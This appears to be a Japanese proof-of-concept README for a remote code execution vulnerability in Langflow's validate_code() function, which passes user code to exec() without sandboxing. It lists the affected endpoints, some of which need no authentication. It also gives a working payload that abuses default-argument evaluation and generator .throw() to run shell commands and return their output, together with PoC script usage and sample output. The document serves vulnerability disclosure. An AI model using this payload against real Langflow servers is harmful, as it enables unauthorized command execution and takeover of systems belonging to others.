
CVE-2026-0770 - Langflow リモートコード実行の概念実証
Langflow には、src/lfx/src/lfx/custom/validate.py にある validate_code() 関数に重大なリモートコード実行の脆弱性が存在します。この関数は、サンドボックス化せずに exec() を使用してユーザーが提供した Python コードを実行するため、サーバー上で任意のコマンド実行が可能になります。
関連する関数およびエンドポイントで同様の脆弱性が確認されています:
validate_code() 関数は、ユーザーが提供したコードを解析し、exec() を使用して関数定義を実行します:
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- 任意のコード実行
exec_globals コンテキストには importlib と Python 組み込み関数へのアクセスが含まれるため、攻撃者は危険なモジュール(os、subprocess、socket)をインポートし、任意のシステムコマンドを実行できます。
| エンドポイント | 認証 | 攻撃ベクトル |
|---|---|---|
POST /api/v1/validate/code | 必須* | コードの直接送信 |
POST /api/v1/custom_component | 必須* | コンポーネント定義内のコード |
POST /api/v1/custom_component/update | 必須* | コンポーネント更新内のコード |
POST /api/v1/webhook/{flow_id} | なし | コードコンポーネントを含むフロー |
POST /api/v1/build_public_tmp/{flow_id}/flow | なし | 公開フローの実行 |
* AUTO_LOGIN=true(デフォルト設定)の場合、認証はバイパス可能です
validate.py 内の以下の関数も安全でない exec() を使用しています:
| 関数 | 行 | 説明 |
|---|---|---|
validate_code() | 66 | ユーザーコードの検証 |
eval_function() | 140 | 関数文字列の評価 |
execute_function() | 182 | 任意の関数の実行 |
create_function() | 227 | コードから関数を作成 |
create_class() | 241-442 | prepare_global_scope() と build_class_constructor() を使用してクラスを作成 |
validate_code() 関数は関数定義のみを実行し、関数呼び出しは実行しません。出力を外部に送信しながらコード実行を達成するために、Python のデフォルト引数の評価順序を悪用します。
重要なポイント: デフォルト引数の式は関数の定義時に評価され、関数が呼び出されたときには評価されません。
def foo(x=print("I execute immediately")):
pass
ただし、HTTP レスポンスを通じて出力を外部に送信する必要があります。エンドポイントはレスポンスボディにエラーを返すため、出力を含む例外を発生させる必要があります。
問題: raise は文であり式ではないため、デフォルト引数で直接使用できません。
解決策: ジェネレーターの .throw() メソッドを使用します。これは例外を発生させ、かつ式として扱えます:
(_ for _ in ()).throw(Exception("output here"))
これにより空のジェネレーターが作成され、即座に例外が発生します。コマンド出力を取得するためのラムダと組み合わせます:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
実行フロー:
exec() が関数定義を実行_=... が即座に評価されるsubprocess.run() がコマンドを実行.throw() を呼び出すvalidate_code() が例外を捕捉し、レスポンスにエラーを返すpython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| フラグ | 説明 |
|---|---|
-t, --target | ターゲット URL(必須) |
-c, --command | 実行するコマンド(デフォルト:id && whoami) |
-k, --token | JWT トークン(オプション、デフォルトでは自動ログインを使用) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py